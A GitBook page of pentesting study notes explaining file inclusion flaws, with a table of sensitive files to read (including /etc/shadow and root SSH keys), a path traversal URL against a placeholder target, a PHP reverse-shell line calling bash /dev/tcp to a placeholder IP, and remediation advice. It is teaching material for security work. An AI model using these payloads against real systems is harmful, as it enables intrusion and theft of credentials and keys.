📝
Home
Pentesting
  • 📝Home
  • ⚒️PENTESTING
    • Foundational
      • Gaining Access
      • Session Hijacking
      • Buffer Overflows
        • Finding the Offset
        • Spiking
        • Fuzzing
      • Attack Basics
        • Brute Force Attacks
        • Credential Stuffing and Password Spraying
        • Netcat Shell Stabilization
        • Reverse Shells vs Bind Shells
        • Staged vs Non-Staged Payloads
      • Footprinting
    • Reconnaissance
      • Discovering Email Addresses
      • Hunting Subdomains
    • Scanning and Enumeration
      • Banner Grabbing
      • Enumerating HTTP and HTTPS
      • Enumerating SMB
      • Enumerating SSH
      • NetBIOS Enumeration
      • SNMP Enumeration
      • Sniffing
    • Privilege Escalation
      • 🐧Linux Privilege Escalation
      • 🪟Windows Privilege Escalation
        • Initial Enumeration
    • Defense Evasion
      • Hiding Files and Covering Tracks
      • Network Evasion
    • Attacking Services
      • Attacking Kerberos
      • Attacking VPNs
      • Denial of Service
      • Exploiting FTP
      • Exploiting NFS
      • Exploiting SMTP
      • Exploiting Telnet
    • Attacking Active Directory
      • Initial Attack Vectors
        • Gaining Shell Access
        • LLMNR Poisoning
        • SMB Relay
        • Passback Attacks
        • IPv6 Attacks
      • Post-Compromise Enumeration
        • Bloodhound
        • ldapdomaindump
        • PowerView
        • PlumHound
      • Post-Compromise Attacks
        • GPP Attacks
        • Print Nightmare
        • Token Impersonation using Incognito
        • URL File Attack
        • Pass Attacks
        • Kerberoasting
        • LNK File Attacks
        • Mimikatz
      • Post-Domain Compromise Attacks
        • Dumping the NTDS.dit
        • Golden Ticket Attacks
      • Post Exploitation
    • Toolkit
      • Burp Suite
        • Intruder
      • Hping
        • Crafting TCP and UDP Packets
      • Metasploit
        • Meterpreter
        • Shell Handler
        • Gather Information
        • Gaining Root
    • Web Application Hacking
      • Attack Methodology
      • Attacking Web Applications
      • Authentication Bypass
      • Cross-Site Scripting
      • Cross-Site Request Forgery
      • File Inclusion
      • Server-Side Request Forgery
      • Injection
        • Command Injection
        • LDAP Injection
        • SQL Injection
  • 👽MALWARE ANALYSIS
    • Malware Analysis Primer
    • Malware Types
      • Rootkits
      • Viruses
      • WannaCry
    • Analyzing Malicious Windows Programs
    • Static Analysis
      • Basic Static Techniques
      • Advanced Static Analysis
    • Reverse Engineering
      • Crash Course in x86 Disassembly
      • Recognizing Code in Assembly Language
    • Dynamic Analysis
    • Detecting Malware
      • Evasion Techniques
      • Detecting Mimikatz
      • Hunting Malware
      • Hunting Metasploit
      • Hunting Persistence
  • 🏹THREAT HUNTING
    • Foundational
      • ATT&CK Framework
      • CIA Triad
    • APTs
  • 🐍PROGRAMMING & SCRIPTING
    • Foundational
      • Computer Memory
    • C Programming
    • Assembly Language
      • Assembly File Structure
      • Debugging with gdb
    • Bash
    • Python
      • Foundational
        • Booleans and Operators
        • Comprehensions
        • Conditionals
        • Dictionaries
        • Exceptions and Error Handling
        • Functions
        • Lambdas
        • Lists
        • Loops
        • Modules
        • Numbers
        • Reading and Writing Files
        • Sets
        • Sockets
        • String Formatting
        • Tuples
        • User Input
        • Variables
      • Extending Python
        • Virtual Environments
        • Sys Module
        • Requests
        • pwntools
    • Regular Expressions
    • SQL
  • 🕵️DIGITAL FORENSICS
    • Anti-Forensic Techniques
    • 🪟Windows Security Internals
      • Windows Security Internals
        • Kernel
          • Security Reference Monitor (SRM)
          • Object Manager
            • System Calls
            • NTSTATUS Codes
            • Object Handles
            • Query and Set Information System Calls
          • The I/O Manager & The Process and Thread Manager
          • The Memory Manager
          • The Configuration Manager
  • 💼GRC (CISSP Notes)
    • Security Assessment and Testing
    • Security Governance Principles
    • Security Policies Standards and Procedures
    • Preventing and Responding to Incidents
    • Organizational Roles and Responsibilities
    • Organizational Processes
  • 📦Networking
    • Foundational
      • DHCP
      • DNS Basics
      • HTTP Protocol
      • IPSec
      • IPv6 Fundamentals
    • Wireless Technologies
      • 802.11
      • Bluetooth
      • Wireless Authentication
      • Wireless Encryption
Powered by GitBook
On this page
  • Risks
  • Path Traversal
  • Remote File Inclusion (RFI)
  • Local File Inclusion
  • Remediation
  1. PENTESTING
  2. Web Application Hacking

File Inclusion

PreviousCross-Site Request ForgeryNextServer-Side Request Forgery

Last updated 1 year ago

  • The main issue with these is input validation, the user inputs are not sanitized or validated, and the user controls them

  • When input is not validated, the user can pass any input to the function, causing a vulnerability

Risks

  • Can be used to read sensitive data

  • If you can write to places like the /tmp directory you can gain RCE

Path Traversal

  • Allows attackers to read OS resources

    • local files running an application

  • Exploit this vulnerability by manipulating and abusing the web application's URL to locate files and access files or directories stored outside the apps root directory

  • Happen when user's inputs is passed to a function like in PHP to read the content of a file

Common OS files

Location

Description

/etc/issue

contains a message or system identification to be printed before the login attempt.

/etc/profile

controls system-wide default variables (Export variables, File creation mask, etc.)

/proc/version

specifies the version of the Linux kernel

/etc/passwd

has all registered user that has access to a system

/etc/shadow

contains information about the system's user's password

/root/.bash_history

contains the history command for root user

/var/log/dmessage

contains global system messages, including messages that are logged during system startup

/var/mail/root

all emails for root user

/root/.ssh/id_rsa

Private SSH keys for a root or any known valid user on the server

/var/log/apache2/access.log

the accessed requests for Apache webserver

C:\boot.ini

contains the boot options for computers with BIOS firmware

  • Examples

    • http://TARGET_URL/index.php?file=/etc/passwd

Remote File Inclusion (RFI)

  • Technique to include remote files and into a vulnerable application

  • One requirement for RFI is that the allow_url_fopen option needs to be on

  • Allows an attacker to gain RCE on the server and can lead to

    • Sensitive Information Disclosure

    • Cross-site Scripting (XSS)

    • DoS

Local File Inclusion

  • Creates a reverse shell file

<?php
exec("/bin/bash -c `bash -i >& /dev/tcp/<IP><Port> 0>&1`")
?>

Remediation

  • Keep system and services, including web application frameworks, updated with the latest version

  • Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information

  • A WAF is a good option to help mitigate web application hacks

  • Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn't need them (allow_url_fopen and allow_url_include)

  • Carefully analyze the web application and allow only protocols and PHP wrappers that are in need

  • Never trust user input, and make sure to implement proper input validation against file inclusion

  • Implement whitelisting for file names and locations as well as blacklisting

⚒️
file_get_contents
Path Traversal
Remote File Inclusion